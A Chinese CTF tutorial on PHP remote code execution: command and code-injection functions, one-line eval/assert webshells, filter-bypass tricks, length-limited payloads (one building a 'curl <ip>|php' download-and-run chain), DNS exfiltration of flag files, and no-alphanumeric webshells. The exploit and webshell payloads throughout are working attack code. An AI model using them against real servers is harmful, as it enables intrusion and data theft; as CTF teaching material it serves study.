CTF中WEB题——RCE – 作者:tomyyyyy

CTF中WEB题——RCE

可以在博客中看,显示效果更好

相关函数

命令执行

  • system()
#string system ( string $command [, int &$return_var ] )
#system()函数执行有回显,将执行结果输出到页面上
<?php
system("whoami");
?>
  • exec()
<?php
echo exec("whoami");
?>
  • popen()
#resource popen ( string $command , string $mode )
#函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读#和写。函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行
<?php popen( 'whoami >> c:/1.txt', 'r' ); ?>

<?php  
$test = "ls /tmp/test";  
$fp = popen($test,"r");  //popen打一个进程通道  
  
while (!feof($fp)) {      //从通道里面取得东西  
 $out = fgets($fp, 4096);  
 echo  $out;         //打印出来  
}  
pclose($fp);  
?>
  • proc_open()
resourceproc_open(
string $cmd , 
array $descriptorspec , 
array &$pipes [, string $cwd [, array $env [, array $other_options ]]] 
)
#与Popen函数类似,但是可以提供双向管道
<?php  
$test = "ipconfig";  
$array =   array(  
 array("pipe","r"),   //标准输入  
 array("pipe","w"),   //标准输出内容  
 array("pipe","w")    //标准输出错误  
 );  
  
$fp = proc_open($test,$array,$pipes);   //打开一个进程通道  
echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是输出内容  
proc_close($fp);  
?>
  • passthru()
#void passthru ( string $command [, int &$return_var ] )
<?php
passthru("whoami");
?>
  • shell_exec()
#string shell_exec( string &command)
<?php
echo shell_exec("whoami");
?>
  • 反引号 
#shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行
<?php
echo `whoami`;
?>
  • pcntl_exec()
#void pcntl_exec ( string $path [, array $args [, array $envs ]] )
#path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本
#args是一个要传递给程序的参数的字符串数组。
#pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。
#pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0
<?php
pcntl_exec ( "/bin/bash" , array("whoami"));
?>

代码注入

  • eval()
#传入的参数必须为PHP代码,既需要以分号结尾。
#命令执行:cmd=system(whoami);
#菜刀连接密码:cmd
<?php @eval($_POST['cmd']);?>
  • assert()
#assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。
#命令执行:cmd=system(whoami)
#菜刀连接密码:cmd
<?php @assert($_POST['cmd'])?>
  • preg_replace()
#preg_replace('正则规则','替换字符','目标字符')
#执行命令和上传文件参考assert函数(不需要加分号)。
#将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
preg_replace("/test/e",$_POST["cmd"],"jutst test");
  • create_function()
#创建匿名函数执行代码
#执行命令和上传文件参考eval函数(必须加分号)。
#菜刀连接密码:cmd
$func =create_function('',$_POST['cmd']);$func();
  • array_map()
#array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
#命令执行http://localhost/123.php?func=system cmd=whoami
#菜刀连接http://localhost/123.php?func=assert   密码:cmd
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;
  • calluserfunc()
#传入的参数作为assert函数的参数
#cmd=system(whoami)
#菜刀连接密码:cmd
call_user_func("assert",$_POST['cmd']);
  • calluserfunc_array()
#将传入的参数作为数组的第一个值传递给assert函数
#cmd=system(whoami)
#菜刀连接密码:cmd
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
  • array_filter()
#用回调函数过滤数组中的元素:array_filter(数组,函数)
#命令执行func=system&cmd=whoami
#菜刀连接http://localhost/123.php?func=assert  密码cmd
$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
  • uasort()
#php环境>=<5.6才能用
#uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
#命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
#菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd]) 密码:cmd
usort($_GET,'asse'.'rt');

绕过方式

空格

#常见的绕过符号有:
$IFS$9 、${IFS} 、%09(php环境下)、 重定向符<>、<、

#$IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名,加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用

命令分隔符

%0a  #换行符,需要php环境
%0d  #回车符,需要php环境
;    #在 shell 中,是”连续指令”
&    #不管第一条命令成功与否,都会执行第二条命令
&&   #第一条命令成功,第二条才会执行
|    #第一条命令的结果,作为第二条命令的输入
||   #第一条命令失败,第二条才会执行

关键字

假如过滤了关键字cat\flag,无法读取不了flag.php,又该如何去做

  • 拼接绕过
#执行ls命令:
a=l;b=s;$a$b
#cat flag文件内容:
a=c;b=at;c=f;d=lag;$a$b ${c}${d}
#cat test文件内容
a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test
  • 编码绕过
#base64
echo "Y2F0IC9mbGFn"|base64 -d|bash ==> cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh      ==> cat /flag
#hex
echo "0x636174202f666c6167" | xxd -r -p|bash   ==> cat /flag
#oct/字节
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#i也可以通过这种方式写马
#内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> php
  • 单引号和双引号绕过
c'a't test
c"a"t test
  • 反斜杠绕过
ca\t test
  • 通过$PATH绕过
#echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成
#当执行程序时,shell自动跟据PATH变量的值去搜索该程序
#shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会再继续搜索
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
`echo $PATH| cut -c 8,9`t test
  • 通配符绕过
    […]表示匹配方括号之中的任意一个字符
    {…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
    {…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开
    cat t?st
    cat te*
    cat t[a-z]st
    cat t{a,b,c,d,e,f}st

限制长度

>a    #虽然没有输入但是会创建a这个文件
ls -t    #ls基于基于事件排序(从晚到早)
sh a    #sh会把a里面的每行内容当作命令来执行
使用|进行命令拼接    #l\ s    =    ls
base64    #使用base64编码避免特殊字符

  • 七字符限制
w>hp
w>1.p\\
w>d\>\\
w>\ -\\
w>e64\\
w>bas\\
w>7\|\\
w>XSk\\
w>Fsx\\
w>dFV\\
w>kX0\\
w>bCg\\
w>XZh\\
w>AgZ\\
w>waH\\
w>PD9\\
w>o\ \\
w>ech\\
ls -t|\
sh

翻译过来就是

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d > 1.php

脚本代码

import requests

url = "http://192.168.1.100/rce.php?1={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
   for i in f:
       print("[*]" +format(i.strip()))
       requests.get(url.format(i.strip()))
 
#检查是否攻击成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:
   print("[*]Attack success!!!")
  • 四字符限制
#-*-coding:utf8-*-
import requests as r
from time import sleep
import random
import hashlib
target = 'http://52.197.41.31/'

# 存放待下载文件的公网主机的IP
shell_ip = 'xx.xx.xx.xx'
 
# 本机IP
your_ip =get('http://ipv4.icanhazip.com/').text.strip()
 
# 将shell_IP转换成十六进制
ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2))
                     for i in shell_ip.split('.')])
 
reset = target + '?reset'
cmd = target + '?cmd='
sandbox = target + 'sandbox/' + 
    hashlib.md5('orange' + your_ip).hexdigest() + '/'
 
# payload某些位置的可选字符
pos0 = random.choice('efgh')
pos1 = random.choice('hkpq')
pos2 = 'g'  # 随意选择字符
 
payload = [
    '>dir',
    # 创建名为 dir 的文件
 
    '>%s>' % pos0,
    # 假设pos0选择 f , 创建名为 f> 的文件
 
    '>%st-' % pos1,
    # 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,
    # 因为alphabetical序中t>s
 
    '>sl',
    # 创建名为 >sl 的文件;到此处有四个文件,
    # ls 的结果会是:dir f> kt- sl
 
    '*>v',
    # 前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,
    #  前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl
    # 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符
 
    '>rev',
    # 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v
 
    '*v>%s' % pos2,
    # 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。
    # 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f
 
    # 续行分割 curl 0x11223344|php 并逆序写入
    '>p',
    '>ph\',
    '>|\',
    '>%s\' % ip[8:10],
    '>%s\' % ip[6:8],
    '>%s\' % ip[4:6],
    '>%s\' % ip[2:4],
    '>%s\' % ip[0:2],
    '> \',
    '>rl\',
    '>cu\',
 
    'sh ' + pos2,
    # sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来,
    # 虽然 f 的文件头部会有杂质,但不影响有效命令的执行
    'sh ' + pos0,
    # sh f 执行curl命令,下载文件,写入木马。
]
 
s = r.get(reset)
for i in payload:
    assert len(i) <= 4
    s = r.get(cmd + i)
    print '[%d]' % s.status_code, s.url
    sleep(0.1)
s = r.get(sandbox + 'fun.php?cmd=uname -a')
print '[%d]' % s.status_code, s.url
print s.text

限制回显

  • 判断
  • #利用sleep判断
    ls;sleep 3
    #http请求/dns请求
    http://ceye.io/payloads
  • 利用
  • #写shell(直接写入/外部下载)
    echo >
    wget
    #http/dns等方式带出数据
    #需要去掉空格,可以使用sed等命令
    echo `cat flag.php|sed s/[[:space:]]//`.php.xxxxxx.ceye.io

无字母、数字getshell

异或

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

简短写法

"`{{{"^"?<>/"   //_GET

取反

<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1
 
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert
 
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST
 
$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])

简短写法

${~"\xa0\xb8\xba\xab"} //$_GET

自增

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
 
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
 
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

实例

<?php
include'flag.php';
 
if(isset($_GET['code'])){
   $code=$_GET['code'];
   if(strlen($code)>50){
       die("Too Long.");
  }
   if(preg_match("/[A-Za-z0-9_]+/",$code)){
       die("Not Allowed.");
  }
   @eval($code);
}else{
   highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

payload:

code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

$_=”{{{“^”?<>/”;=$_=”GET”;
${$_}[_](${$_}[__]);=$_GET[_]($_GET[__]);=getFlag($_GET[__])=getFlag(null);
这个 payload 的长度是 37 ,符合题目要求的 小于等于40 。另fuzz 出了长度为 28 的 payload ,如下:

$_="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$_();
#getFlag()

代码执行参考链接

命令执行参考链接

绕过姿势参考

绕过方式参考

绕过字符限制

无字母数字getshell

来源:freebuf.com 2020-10-31 10:47:09 by: tomyyyyy

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论